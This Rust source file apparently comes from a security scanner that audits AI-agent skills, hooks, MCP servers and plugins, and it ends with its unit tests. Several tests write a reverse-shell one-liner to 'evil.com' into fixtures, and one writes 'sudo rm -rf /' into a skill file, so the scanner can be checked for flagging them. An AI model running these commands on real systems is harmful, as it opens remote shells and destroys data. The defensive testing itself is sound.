1use crate::{
2 Cli, CommandScanner, Confidence, Config, CustomRuleLoader, Deobfuscator, DependencyScanner,
3 DockerScanner, DynamicRule, Finding, HookScanner, IgnoreFilter, JsonReporter, MalwareDatabase,
4 McpScanner, OutputFormat, PluginScanner, Reporter, RiskScore, RuleSeverity, RulesDirScanner,
5 SarifReporter, ScanResult, ScanType, Scanner, Severity, SkillScanner, SubagentScanner, Summary,
6 TerminalReporter,
7};
8use chrono::Utc;
9use std::fs;
10use std::path::Path;
11use walkdir::WalkDir;
12
13#[derive(Debug, Clone)]
15pub struct EffectiveConfig {
16 pub format: OutputFormat,
17 pub strict: bool,
18 pub warn_only: bool,
19 pub min_severity: Option<Severity>,
20 pub min_rule_severity: Option<RuleSeverity>,
21 pub scan_type: ScanType,
22 pub recursive: bool,
23 pub ci: bool,
24 pub verbose: bool,
25 pub min_confidence: Confidence,
26 pub skip_comments: bool,
27 pub fix_hint: bool,
28 pub no_malware_scan: bool,
29 pub deep_scan: bool,
30 pub watch: bool,
31 pub output: Option<String>,
32 pub fix: bool,
33 pub fix_dry_run: bool,
34 pub malware_db: Option<String>,
35 pub custom_rules: Option<String>,
36}
37
38impl EffectiveConfig {
39 pub fn from_cli_and_config(cli: &Cli, config: &Config) -> Self {
44 let format = parse_output_format(config.scan.format.as_deref()).unwrap_or(cli.format);
46
47 let scan_type = parse_scan_type(config.scan.scan_type.as_deref()).unwrap_or(cli.scan_type);
49
50 let min_confidence =
52 parse_confidence(config.scan.min_confidence.as_deref()).unwrap_or(cli.min_confidence);
53
54 let malware_db = cli
56 .malware_db
57 .as_ref()
58 .map(|p| p.display().to_string())
59 .or_else(|| config.scan.malware_db.clone());
60
61 let custom_rules = cli
62 .custom_rules
63 .as_ref()
64 .map(|p| p.display().to_string())
65 .or_else(|| config.scan.custom_rules.clone());
66
67 let output = cli
68 .output
69 .as_ref()
70 .map(|p| p.display().to_string())
71 .or_else(|| config.scan.output.clone());
72
73 Self {
74 format,
75 strict: cli.strict || config.scan.strict,
77 warn_only: cli.warn_only,
78 min_severity: cli.min_severity,
79 min_rule_severity: cli.min_rule_severity,
80 scan_type,
81 recursive: cli.recursive || config.scan.recursive,
82 ci: cli.ci || config.scan.ci,
83 verbose: cli.verbose || config.scan.verbose,
84 min_confidence,
85 skip_comments: cli.skip_comments || config.scan.skip_comments,
86 fix_hint: cli.fix_hint || config.scan.fix_hint,
87 no_malware_scan: cli.no_malware_scan || config.scan.no_malware_scan,
88 deep_scan: cli.deep_scan || config.scan.deep_scan,
89 watch: cli.watch || config.scan.watch,
90 fix: cli.fix || config.scan.fix,
91 fix_dry_run: cli.fix_dry_run || config.scan.fix_dry_run,
92 output,
93 malware_db,
94 custom_rules,
95 }
96 }
97}
98
99fn parse_output_format(s: Option<&str>) -> Option<OutputFormat> {
100 match s?.to_lowercase().as_str() {
101 "terminal" => Some(OutputFormat::Terminal),
102 "json" => Some(OutputFormat::Json),
103 "sarif" => Some(OutputFormat::Sarif),
104 "html" => Some(OutputFormat::Html),
105 _ => None,
106 }
107}
108
109fn parse_scan_type(s: Option<&str>) -> Option<ScanType> {
110 match s?.to_lowercase().as_str() {
111 "skill" => Some(ScanType::Skill),
112 "hook" => Some(ScanType::Hook),
113 "mcp" => Some(ScanType::Mcp),
114 "command" => Some(ScanType::Command),
115 "rules" => Some(ScanType::Rules),
116 "docker" => Some(ScanType::Docker),
117 "dependency" => Some(ScanType::Dependency),
118 "subagent" => Some(ScanType::Subagent),
119 "plugin" => Some(ScanType::Plugin),
120 _ => None,
121 }
122}
123
124fn parse_confidence(s: Option<&str>) -> Option<Confidence> {
125 match s?.to_lowercase().as_str() {
126 "tentative" => Some(Confidence::Tentative),
127 "firm" => Some(Confidence::Firm),
128 "certain" => Some(Confidence::Certain),
129 _ => None,
130 }
131}
132
133fn load_custom_rules_from_effective(effective: &EffectiveConfig) -> Vec<DynamicRule> {
135 match &effective.custom_rules {
136 Some(path_str) => {
137 let path = Path::new(path_str);
138 match CustomRuleLoader::load_from_file(path) {
139 Ok(rules) => {
140 if !rules.is_empty() {
141 eprintln!("Loaded {} custom rule(s) from {}", rules.len(), path_str);
142 }
143 rules
144 }
145 Err(e) => {
146 eprintln!("Warning: Failed to load custom rules: {}", e);
147 Vec::new()
148 }
149 }
150 }
151 None => Vec::new(),
152 }
153}
154
155pub fn run_scan(cli: &Cli) -> Option<ScanResult> {
156 run_scan_internal(cli, None)
157}
158
159pub fn run_scan_with_config(cli: &Cli, config: Config) -> Option<ScanResult> {
161 run_scan_internal(cli, Some(config))
162}
163
164fn run_scan_internal(cli: &Cli, preloaded_config: Option<Config>) -> Option<ScanResult> {
165 let mut all_findings = Vec::new();
166 let mut targets = Vec::new();
167
168 let project_root = cli.paths.first().and_then(|p| {
170 if p.is_dir() {
171 Some(p.as_path())
172 } else {
173 p.parent()
174 }
175 });
176
177 let config = preloaded_config.unwrap_or_else(|| Config::load(project_root));
179
180 let mut config = config;
182 if let Some(ref profile_name) = cli.profile {
183 match crate::Profile::load(profile_name) {
184 Ok(profile) => {
185 profile.apply_to_config(&mut config.scan);
186 eprintln!("Using profile: {}", profile_name);
187 }
188 Err(e) => {
189 eprintln!("Warning: Failed to load profile '{}': {}", profile_name, e);
190 }
191 }
192 }
193
194 let effective = EffectiveConfig::from_cli_and_config(cli, &config);
196
197 let mut custom_rules = load_custom_rules_from_effective(&effective);
199
200 if !config.rules.is_empty() {
202 match CustomRuleLoader::convert_yaml_rules(config.rules.clone()) {
203 Ok(config_rules) => {
204 let config_rules_count = config_rules.len();
205 custom_rules.extend(config_rules);
206 if config_rules_count > 0 {
207 eprintln!(
208 "Loaded {} custom rule(s) from config file",
209 config_rules_count
210 );
211 }
212 }
213 Err(e) => {
214 eprintln!("Warning: Failed to load rules from config file: {}", e);
215 }
216 }
217 }
218
219 let malware_db = if !effective.no_malware_scan {
221 let mut db = match &effective.malware_db {
222 Some(path_str) => {
223 let path = Path::new(path_str);
224 match MalwareDatabase::from_file(path) {
225 Ok(db) => db,
226 Err(e) => {
227 eprintln!("Warning: Failed to load custom malware database: {}", e);
228 eprintln!("Falling back to built-in database.");
229 MalwareDatabase::default()
230 }
231 }
232 }
233 None => MalwareDatabase::default(),
234 };
235
236 if !config.malware_signatures.is_empty() {
238 let sig_count = config.malware_signatures.len();
239 if let Err(e) = db.add_signatures(config.malware_signatures.clone()) {
240 eprintln!(
241 "Warning: Failed to load malware signatures from config file: {}",
242 e
243 );
244 } else {
245 eprintln!("Loaded {} malware signature(s) from config file", sig_count);
246 }
247 }
248
249 Some(db)
250 } else {
251 None
252 };
253
254 let create_ignore_filter = |path: &Path| {
256 let mut filter = IgnoreFilter::from_config(path, &config.ignore);
257 if cli.include_tests {
259 filter = filter.with_include_tests(true);
260 }
261 if cli.include_node_modules {
262 filter = filter.with_include_node_modules(true);
263 }
264 if cli.include_vendor {
265 filter = filter.with_include_vendor(true);
266 }
267 filter
268 };
269
270 for path in &cli.paths {
271 let result = match effective.scan_type {
273 ScanType::Skill => {
274 let ignore_filter = create_ignore_filter(path);
275 let scanner = SkillScanner::new()
276 .with_ignore_filter(ignore_filter)
277 .with_skip_comments(effective.skip_comments)
278 .with_dynamic_rules(custom_rules.clone());
279 scanner.scan_path(path)
280 }
281 ScanType::Hook => {
282 let scanner = HookScanner::new()
283 .with_skip_comments(effective.skip_comments)
284 .with_dynamic_rules(custom_rules.clone());
285 scanner.scan_path(path)
286 }
287 ScanType::Mcp => {
288 let scanner = McpScanner::new()
289 .with_skip_comments(effective.skip_comments)
290 .with_dynamic_rules(custom_rules.clone());
291 scanner.scan_path(path)
292 }
293 ScanType::Command => {
294 let scanner = CommandScanner::new()
295 .with_skip_comments(effective.skip_comments)
296 .with_dynamic_rules(custom_rules.clone());
297 scanner.scan_path(path)
298 }
299 ScanType::Rules => {
300 let scanner = RulesDirScanner::new()
301 .with_skip_comments(effective.skip_comments)
302 .with_dynamic_rules(custom_rules.clone());
303 scanner.scan_path(path)
304 }
305 ScanType::Docker => {
306 let ignore_filter = create_ignore_filter(path);
307 let scanner = DockerScanner::new()
308 .with_ignore_filter(ignore_filter)
309 .with_skip_comments(effective.skip_comments)
310 .with_dynamic_rules(custom_rules.clone());
311 scanner.scan_path(path)
312 }
313 ScanType::Dependency => {
314 let scanner = DependencyScanner::new()
315 .with_skip_comments(effective.skip_comments)
316 .with_dynamic_rules(custom_rules.clone());
317 scanner.scan_path(path)
318 }
319 ScanType::Subagent => {
320 let scanner = SubagentScanner::new()
321 .with_skip_comments(effective.skip_comments)
322 .with_dynamic_rules(custom_rules.clone());
323 scanner.scan_path(path)
324 }
325 ScanType::Plugin => {
326 let scanner = PluginScanner::new()
327 .with_skip_comments(effective.skip_comments)
328 .with_dynamic_rules(custom_rules.clone());
329 scanner.scan_path(path)
330 }
331 };
332
333 match result {
334 Ok(findings) => {
335 all_findings.extend(findings);
336 targets.push(path.display().to_string());
337 }
338 Err(e) => {
339 eprintln!("Error scanning {}: {}", path.display(), e);
340 return None;
341 }
342 }
343
344 if let Some(ref db) = malware_db {
346 let malware_findings = scan_path_with_malware_db(path, db);
347 all_findings.extend(malware_findings);
348 }
349
350 if effective.deep_scan {
352 let deep_findings = run_deep_scan(path);
353 all_findings.extend(deep_findings);
354 }
355 }
356
357 let mut filtered_findings: Vec<_> = all_findings
360 .into_iter()
361 .filter(|f| f.confidence >= effective.min_confidence)
362 .filter(|f| !config.is_rule_disabled(&f.id))
364 .filter(|f| {
366 if let Some(min_sev) = effective.min_severity {
367 f.severity >= min_sev
368 } else {
369 true
370 }
371 })
372 .collect();
373
374 for finding in &mut filtered_findings {
376 let rule_severity = if effective.warn_only {
377 RuleSeverity::Warn
379 } else if let Some(severity) = config.get_rule_severity(&finding.id) {
380 severity
381 } else {
382 RuleSeverity::Error
383 };
384 finding.rule_severity = Some(rule_severity);
385 }
386
387 let summary = Summary::from_findings_with_rule_severity(&filtered_findings);
388 let risk_score = RiskScore::from_findings(&filtered_findings);
389 Some(ScanResult {
390 version: env!("CARGO_PKG_VERSION").to_string(),
391 scanned_at: Utc::now().to_rfc3339(),
392 target: targets.join(", "),
393 summary,
394 findings: filtered_findings,
395 risk_score: Some(risk_score),
396 })
397}
398
399fn run_deep_scan(path: &Path) -> Vec<Finding> {
401 let mut findings = Vec::new();
402 let deobfuscator = Deobfuscator::new();
403
404 if path.is_file() {
405 if is_text_file(path)
406 && let Ok(content) = fs::read_to_string(path)
407 {
408 findings.extend(deobfuscator.deep_scan(&content, &path.display().to_string()));
409 }
410 } else if path.is_dir() {
411 for entry in WalkDir::new(path)
412 .into_iter()
413 .filter_map(|e| e.ok())
414 .filter(|e| e.file_type().is_file())
415 {
416 let file_path = entry.path();
417 if is_text_file(file_path)
418 && let Ok(content) = fs::read_to_string(file_path)
419 {
420 findings.extend(deobfuscator.deep_scan(&content, &file_path.display().to_string()));
421 }
422 }
423 }
424
425 findings
426}
427
428pub fn scan_path_with_malware_db(path: &Path, db: &MalwareDatabase) -> Vec<Finding> {
429 let mut findings = Vec::new();
430
431 if path.is_file() {
432 if !is_config_file(path)
434 && let Ok(content) = fs::read_to_string(path)
435 {
436 findings.extend(db.scan_content(&content, &path.display().to_string()));
437 }
438 } else if path.is_dir() {
439 for entry in WalkDir::new(path)
440 .into_iter()
441 .filter_map(|e| e.ok())
442 .filter(|e| e.file_type().is_file())
443 {
444 let file_path = entry.path();
445 if !is_config_file(file_path)
447 && is_text_file(file_path)
448 && let Ok(content) = fs::read_to_string(file_path)
449 {
450 findings.extend(db.scan_content(&content, &file_path.display().to_string()));
451 }
452 }
453 }
454
455 findings
456}
457
458fn is_config_file(path: &Path) -> bool {
460 const CONFIG_FILES: &[&str] = &[
461 ".cc-audit.yaml",
462 ".cc-audit.yml",
463 ".cc-audit.json",
464 ".cc-audit.toml",
465 ".cc-auditignore",
466 ];
467
468 path.file_name()
469 .and_then(|name| name.to_str())
470 .is_some_and(|name| CONFIG_FILES.contains(&name))
471}
472
473pub fn is_text_file(path: &Path) -> bool {
475 static DEFAULT_CONFIG: std::sync::LazyLock<crate::config::TextFilesConfig> =
476 std::sync::LazyLock::new(crate::config::TextFilesConfig::default);
477
478 is_text_file_with_config(path, &DEFAULT_CONFIG)
479}
480
481pub fn is_text_file_with_config(path: &Path, config: &crate::config::TextFilesConfig) -> bool {
483 if config.is_text_file(path) {
485 return true;
486 }
487
488 if let Some(name) = path.file_name() {
490 let name_str = name.to_string_lossy();
491 let name_lower = name_str.to_lowercase();
492
493 if name_str.starts_with('.') {
495 return true;
496 }
497
498 if name_lower.ends_with("rc") {
500 return true;
501 }
502 }
503
504 false
505}
506
507pub fn format_result(cli: &Cli, result: &ScanResult) -> String {
508 let project_root = cli.paths.first().and_then(|p| {
510 if p.is_dir() {
511 Some(p.as_path())
512 } else {
513 p.parent()
514 }
515 });
516
517 let config = Config::load(project_root);
519 let effective = EffectiveConfig::from_cli_and_config(cli, &config);
520
521 format_result_with_config(&effective, result)
522}
523
524pub fn format_result_with_config(effective: &EffectiveConfig, result: &ScanResult) -> String {
526 match effective.format {
527 OutputFormat::Terminal => {
528 let reporter = TerminalReporter::new(effective.strict, effective.verbose)
529 .with_fix_hints(effective.fix_hint);
530 reporter.report(result)
531 }
532 OutputFormat::Json => {
533 let reporter = JsonReporter::new();
534 reporter.report(result)
535 }
536 OutputFormat::Sarif => {
537 let reporter = SarifReporter::new();
538 reporter.report(result)
539 }
540 OutputFormat::Html => {
541 let reporter = crate::reporter::html::HtmlReporter::new();
542 reporter.report(result)
543 }
544 }
545}
546
547#[derive(Debug)]
549pub enum WatchModeResult {
550 Success,
552 WatcherCreationFailed(String),
554 WatchPathFailed(String, String),
556}
557
558pub fn setup_watch_mode(cli: &Cli) -> Result<crate::FileWatcher, WatchModeResult> {
560 let mut watcher = match crate::FileWatcher::new() {
561 Ok(w) => w,
562 Err(e) => {
563 return Err(WatchModeResult::WatcherCreationFailed(e.to_string()));
564 }
565 };
566
567 for path in &cli.paths {
569 if let Err(e) = watcher.watch(path) {
570 return Err(WatchModeResult::WatchPathFailed(
571 path.display().to_string(),
572 e.to_string(),
573 ));
574 }
575 }
576
577 Ok(watcher)
578}
579
580pub fn watch_iteration(cli: &Cli) -> Option<String> {
582 run_scan(cli).map(|result| format_result(cli, &result))
583}
584
585#[cfg(test)]
586mod tests {
587 use super::*;
588 use std::path::PathBuf;
589 use tempfile::TempDir;
590
591 fn create_test_cli(paths: Vec<PathBuf>) -> Cli {
592 Cli {
593 paths,
594 scan_type: ScanType::Skill,
595 format: OutputFormat::Terminal,
596 strict: false,
597 warn_only: false,
598 min_severity: None,
599 min_rule_severity: None,
600 verbose: false,
601 recursive: true,
602 ci: false,
603 include_tests: false,
604 include_node_modules: false,
605 include_vendor: false,
606 min_confidence: crate::Confidence::Tentative,
607 watch: false,
608 init_hook: false,
609 remove_hook: false,
610 skip_comments: false,
611 fix_hint: false,
612 no_malware_scan: false,
613 malware_db: None,
614 custom_rules: None,
615 baseline: false,
616 check_drift: false,
617 init: false,
618 output: None,
619 save_baseline: None,
620 baseline_file: None,
621 compare: None,
622 fix: false,
623 fix_dry_run: false,
624 mcp_server: false,
625 deep_scan: false,
626 profile: None,
627 save_profile: None,
628 }
629 }
630
631 #[test]
632 fn test_is_text_file_by_extension() {
633 assert!(is_text_file(Path::new("test.md")));
634 assert!(is_text_file(Path::new("test.txt")));
635 assert!(is_text_file(Path::new("test.sh")));
636 assert!(is_text_file(Path::new("test.py")));
637 assert!(is_text_file(Path::new("test.js")));
638 assert!(is_text_file(Path::new("test.rs")));
639 assert!(is_text_file(Path::new("test.json")));
640 assert!(is_text_file(Path::new("test.yaml")));
641 assert!(is_text_file(Path::new("test.yml")));
642 assert!(is_text_file(Path::new("test.toml")));
643 assert!(is_text_file(Path::new("test.xml")));
644 assert!(is_text_file(Path::new("test.html")));
645 assert!(is_text_file(Path::new("test.css")));
646 assert!(is_text_file(Path::new("test.go")));
647 assert!(is_text_file(Path::new("test.rb")));
648 assert!(is_text_file(Path::new("test.pl")));
649 assert!(is_text_file(Path::new("test.php")));
650 assert!(is_text_file(Path::new("test.java")));
651 assert!(is_text_file(Path::new("test.c")));
652 assert!(is_text_file(Path::new("test.cpp")));
653 assert!(is_text_file(Path::new("test.h")));
654 assert!(is_text_file(Path::new("test.hpp")));
655 assert!(is_text_file(Path::new("test.cs")));
656 assert!(is_text_file(Path::new("test.env")));
657 assert!(is_text_file(Path::new("test.conf")));
658 assert!(is_text_file(Path::new("test.cfg")));
659 assert!(is_text_file(Path::new("test.ini")));
660 assert!(is_text_file(Path::new("test.bash")));
661 assert!(is_text_file(Path::new("test.zsh")));
662 assert!(is_text_file(Path::new("test.ts")));
663 }
664
665 #[test]
666 fn test_is_text_file_case_insensitive() {
667 assert!(is_text_file(Path::new("test.MD")));
668 assert!(is_text_file(Path::new("test.TXT")));
669 assert!(is_text_file(Path::new("test.JSON")));
670 assert!(is_text_file(Path::new("test.YAML")));
671 }
672
673 #[test]
674 fn test_is_text_file_by_filename() {
675 assert!(is_text_file(Path::new("Dockerfile")));
676 assert!(is_text_file(Path::new("dockerfile")));
677 assert!(is_text_file(Path::new("Makefile")));
678 assert!(is_text_file(Path::new("makefile")));
679 assert!(is_text_file(Path::new(".gitignore")));
680 assert!(is_text_file(Path::new(".bashrc")));
681 assert!(is_text_file(Path::new(".zshrc")));
682 assert!(is_text_file(Path::new(".vimrc")));
683 }
684
685 #[test]
686 fn test_is_text_file_returns_false_for_binary() {
687 assert!(!is_text_file(Path::new("image.png")));
688 assert!(!is_text_file(Path::new("binary.exe")));
689 assert!(!is_text_file(Path::new("archive.zip")));
690 assert!(!is_text_file(Path::new("document.pdf")));
691 assert!(!is_text_file(Path::new("audio.mp3")));
692 assert!(!is_text_file(Path::new("video.mp4")));
693 }
694
695 #[test]
696 fn test_is_text_file_common_text_files() {
697 assert!(is_text_file(Path::new("README")));
700 assert!(is_text_file(Path::new("LICENSE")));
701 }
702
703 #[test]
704 fn test_is_text_file_unknown_no_extension() {
705 assert!(!is_text_file(Path::new("unknownfile123")));
707 }
708
709 #[test]
710 fn test_scan_path_with_malware_db_file() {
711 let temp_dir = TempDir::new().unwrap();
712 let test_file = temp_dir.path().join("test.sh");
713 fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
714
715 let db = MalwareDatabase::default();
716 let findings = scan_path_with_malware_db(&test_file, &db);
717
718 assert!(!findings.is_empty());
719 }
720
721 #[test]
722 fn test_scan_path_with_malware_db_directory() {
723 let temp_dir = TempDir::new().unwrap();
724 let test_file = temp_dir.path().join("evil.sh");
725 fs::write(&test_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
726
727 let clean_file = temp_dir.path().join("clean.sh");
728 fs::write(&clean_file, "echo 'Hello World'").unwrap();
729
730 let db = MalwareDatabase::default();
731 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
732
733 assert!(!findings.is_empty());
734 }
735
736 #[test]
737 fn test_scan_path_with_malware_db_skips_binary() {
738 let temp_dir = TempDir::new().unwrap();
739 let binary_file = temp_dir.path().join("test.exe");
740 fs::write(&binary_file, "bash -i >& /dev/tcp/evil.com/4444 0>&1").unwrap();
741
742 let db = MalwareDatabase::default();
743 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
744
745 assert!(findings.is_empty());
747 }
748
749 #[test]
750 fn test_scan_path_with_malware_db_empty_path() {
751 let temp_dir = TempDir::new().unwrap();
752 let db = MalwareDatabase::default();
753 let findings = scan_path_with_malware_db(temp_dir.path(), &db);
754
755 assert!(findings.is_empty());
756 }
757
758 #[test]
759 fn test_run_scan_success() {
760 let temp_dir = TempDir::new().unwrap();
761 let skill_md = temp_dir.path().join("SKILL.md");
762 fs::write(
763 &skill_md,
764 r#"---
765name: test
766allowed-tools: Read
767---
768# Test Skill
769"#,
770 )
771 .unwrap();
772
773 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
774 let result = run_scan(&cli);
775
776 assert!(result.is_some());
777 let result = result.unwrap();
778 assert!(result.summary.passed);
779 }
780
781 #[test]
782 fn test_run_scan_with_findings() {
783 let temp_dir = TempDir::new().unwrap();
784 let skill_md = temp_dir.path().join("SKILL.md");
785 fs::write(
786 &skill_md,
787 r#"---
788name: evil
789allowed-tools: "*"
790---
791# Evil Skill
792
793sudo rm -rf /
794"#,
795 )
796 .unwrap();
797
798 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
799 let result = run_scan(&cli);
800
801 assert!(result.is_some());
802 let result = result.unwrap();
803 assert!(!result.summary.passed);
804 }
805
806 #[test]
807 fn test_run_scan_nonexistent_path() {
808 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/12345")]);
809 let result = run_scan(&cli);
810
811 assert!(result.is_none());
812 }
813
814 #[test]
815 fn test_run_scan_hook_type() {
816 let temp_dir = TempDir::new().unwrap();
817 let settings_dir = temp_dir.path().join(".claude");
818 fs::create_dir_all(&settings_dir).unwrap();
819 let settings_file = settings_dir.join("settings.json");
820 fs::write(
821 &settings_file,
822 r#"{"hooks": {"PreToolUse": [{"matcher": "*", "hooks": [{"type": "command", "command": "echo test"}]}]}}"#,
823 )
824 .unwrap();
825
826 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
827 cli.scan_type = ScanType::Hook;
828 let result = run_scan(&cli);
829
830 assert!(result.is_some());
831 }
832
833 #[test]
834 fn test_run_scan_mcp_type() {
835 let temp_dir = TempDir::new().unwrap();
836 let mcp_file = temp_dir.path().join(".mcp.json");
837 fs::write(
838 &mcp_file,
839 r#"{"mcpServers": {"test": {"command": "echo", "args": ["hello"]}}}"#,
840 )
841 .unwrap();
842
843 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
844 cli.scan_type = ScanType::Mcp;
845 let result = run_scan(&cli);
846
847 assert!(result.is_some());
848 }
849
850 #[test]
851 fn test_run_scan_command_type() {
852 let temp_dir = TempDir::new().unwrap();
853 let commands_dir = temp_dir.path().join(".claude").join("commands");
854 fs::create_dir_all(&commands_dir).unwrap();
855 let cmd_file = commands_dir.join("test.md");
856 fs::write(&cmd_file, "# Test command\necho hello").unwrap();
857
858 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
859 cli.scan_type = ScanType::Command;
860 let result = run_scan(&cli);
861
862 assert!(result.is_some());
863 }
864
865 #[test]
866 fn test_run_scan_rules_type() {
867 let temp_dir = TempDir::new().unwrap();
868 let rules_dir = temp_dir.path().join(".cursor").join("rules");
869 fs::create_dir_all(&rules_dir).unwrap();
870 let rule_file = rules_dir.join("test.md");
871 fs::write(&rule_file, "# Test rule\nBe helpful").unwrap();
872
873 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
874 cli.scan_type = ScanType::Rules;
875 let result = run_scan(&cli);
876
877 assert!(result.is_some());
878 }
879
880 #[test]
881 fn test_run_scan_docker_type() {
882 let temp_dir = TempDir::new().unwrap();
883 let dockerfile = temp_dir.path().join("Dockerfile");
884 fs::write(&dockerfile, "FROM alpine:latest\nRUN echo hello").unwrap();
885
886 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
887 cli.scan_type = ScanType::Docker;
888 let result = run_scan(&cli);
889
890 assert!(result.is_some());
891 }
892
893 #[test]
894 fn test_run_scan_with_malware_db_disabled() {
895 let temp_dir = TempDir::new().unwrap();
896 let skill_md = temp_dir.path().join("SKILL.md");
897 fs::write(&skill_md, "# Test\n").unwrap();
898
899 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
900 cli.no_malware_scan = true;
901 let result = run_scan(&cli);
902
903 assert!(result.is_some());
904 }
905
906 #[test]
907 fn test_run_scan_with_custom_malware_db() {
908 let temp_dir = TempDir::new().unwrap();
909 let skill_md = temp_dir.path().join("SKILL.md");
910 fs::write(&skill_md, "# Test\n").unwrap();
911
912 let malware_db_file = temp_dir.path().join("custom-malware.json");
914 fs::write(
915 &malware_db_file,
916 r#"{
917 "version": "1.0.0",
918 "updated_at": "2026-01-25",
919 "signatures": []
920 }"#,
921 )
922 .unwrap();
923
924 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
925 cli.malware_db = Some(malware_db_file);
926 let result = run_scan(&cli);
927
928 assert!(result.is_some());
929 }
930
931 #[test]
932 fn test_run_scan_with_invalid_malware_db() {
933 let temp_dir = TempDir::new().unwrap();
934 let skill_md = temp_dir.path().join("SKILL.md");
935 fs::write(&skill_md, "# Test\n").unwrap();
936
937 let malware_db_file = temp_dir.path().join("invalid-malware.json");
939 fs::write(&malware_db_file, "not valid json").unwrap();
940
941 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
942 cli.malware_db = Some(malware_db_file);
943 let result = run_scan(&cli);
944
945 assert!(result.is_some());
947 }
948
949 #[test]
950 fn test_run_scan_multiple_paths() {
951 let temp_dir1 = TempDir::new().unwrap();
952 let skill_md1 = temp_dir1.path().join("SKILL.md");
953 fs::write(&skill_md1, "# Test1\n").unwrap();
954
955 let temp_dir2 = TempDir::new().unwrap();
956 let skill_md2 = temp_dir2.path().join("SKILL.md");
957 fs::write(&skill_md2, "# Test2\n").unwrap();
958
959 let cli = create_test_cli(vec![
960 temp_dir1.path().to_path_buf(),
961 temp_dir2.path().to_path_buf(),
962 ]);
963 let result = run_scan(&cli);
964
965 assert!(result.is_some());
966 let result = result.unwrap();
967 assert!(result.target.contains(", "));
968 }
969
970 #[test]
971 fn test_run_scan_with_confidence_filter() {
972 let temp_dir = TempDir::new().unwrap();
973 let skill_md = temp_dir.path().join("SKILL.md");
974 fs::write(&skill_md, "# Test\n").unwrap();
975
976 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
977 cli.min_confidence = crate::Confidence::Certain;
978 let result = run_scan(&cli);
979
980 assert!(result.is_some());
981 }
982
983 #[test]
984 fn test_format_result_terminal() {
985 let temp_dir = TempDir::new().unwrap();
986 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
987
988 let result = ScanResult {
989 version: "0.3.0".to_string(),
990 scanned_at: "2026-01-25T12:00:00Z".to_string(),
991 target: temp_dir.path().display().to_string(),
992 summary: Summary::from_findings(&[]),
993 findings: vec![],
994 risk_score: None,
995 };
996
997 let output = format_result(&cli, &result);
998 assert!(output.contains("PASS"));
999 }
1000
1001 #[test]
1002 fn test_format_result_json() {
1003 let temp_dir = TempDir::new().unwrap();
1004 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1005 cli.format = OutputFormat::Json;
1006
1007 let result = ScanResult {
1008 version: "0.3.0".to_string(),
1009 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1010 target: temp_dir.path().display().to_string(),
1011 summary: Summary::from_findings(&[]),
1012 findings: vec![],
1013 risk_score: None,
1014 };
1015
1016 let output = format_result(&cli, &result);
1017 assert!(output.contains("\"version\""));
1018 assert!(output.contains("\"passed\": true") || output.contains("\"passed\":true"));
1019 }
1020
1021 #[test]
1022 fn test_format_result_sarif() {
1023 let temp_dir = TempDir::new().unwrap();
1024 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1025 cli.format = OutputFormat::Sarif;
1026
1027 let result = ScanResult {
1028 version: "0.3.0".to_string(),
1029 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1030 target: temp_dir.path().display().to_string(),
1031 summary: Summary::from_findings(&[]),
1032 findings: vec![],
1033 risk_score: None,
1034 };
1035
1036 let output = format_result(&cli, &result);
1037 assert!(output.contains("\"$schema\""));
1038 assert!(output.contains("2.1.0"));
1039 }
1040
1041 #[test]
1042 fn test_format_result_with_fix_hints() {
1043 let temp_dir = TempDir::new().unwrap();
1044 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1045 cli.fix_hint = true;
1046
1047 let result = ScanResult {
1048 version: "0.3.0".to_string(),
1049 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1050 target: temp_dir.path().display().to_string(),
1051 summary: Summary::from_findings(&[]),
1052 findings: vec![],
1053 risk_score: None,
1054 };
1055
1056 let _output = format_result(&cli, &result);
1057 }
1059
1060 #[test]
1061 fn test_format_result_verbose() {
1062 let temp_dir = TempDir::new().unwrap();
1063 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1064 cli.verbose = true;
1065
1066 let result = ScanResult {
1067 version: "0.3.0".to_string(),
1068 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1069 target: temp_dir.path().display().to_string(),
1070 summary: Summary::from_findings(&[]),
1071 findings: vec![],
1072 risk_score: None,
1073 };
1074
1075 let _output = format_result(&cli, &result);
1076 }
1077
1078 #[test]
1079 fn test_format_result_strict() {
1080 let temp_dir = TempDir::new().unwrap();
1081 let mut cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1082 cli.strict = true;
1083
1084 let result = ScanResult {
1085 version: "0.3.0".to_string(),
1086 scanned_at: "2026-01-25T12:00:00Z".to_string(),
1087 target: temp_dir.path().display().to_string(),
1088 summary: Summary::from_findings(&[]),
1089 findings: vec![],
1090 risk_score: None,
1091 };
1092
1093 let _output = format_result(&cli, &result);
1094 }
1095
1096 #[test]
1097 fn test_setup_watch_mode_success() {
1098 let temp_dir = TempDir::new().unwrap();
1099 let skill_md = temp_dir.path().join("SKILL.md");
1100 fs::write(&skill_md, "# Test\n").unwrap();
1101
1102 let cli = create_test_cli(vec![temp_dir.path().to_path_buf()]);
1103 let result = setup_watch_mode(&cli);
1104
1105 assert!(result.is_ok());
1106 }
1107
1108 #[test]
1109 fn test_setup_watch_mode_nonexistent_path() {
1110 let cli = create_test_cli(vec![PathBuf::from("/nonexistent/path/for/watch/12345")]);
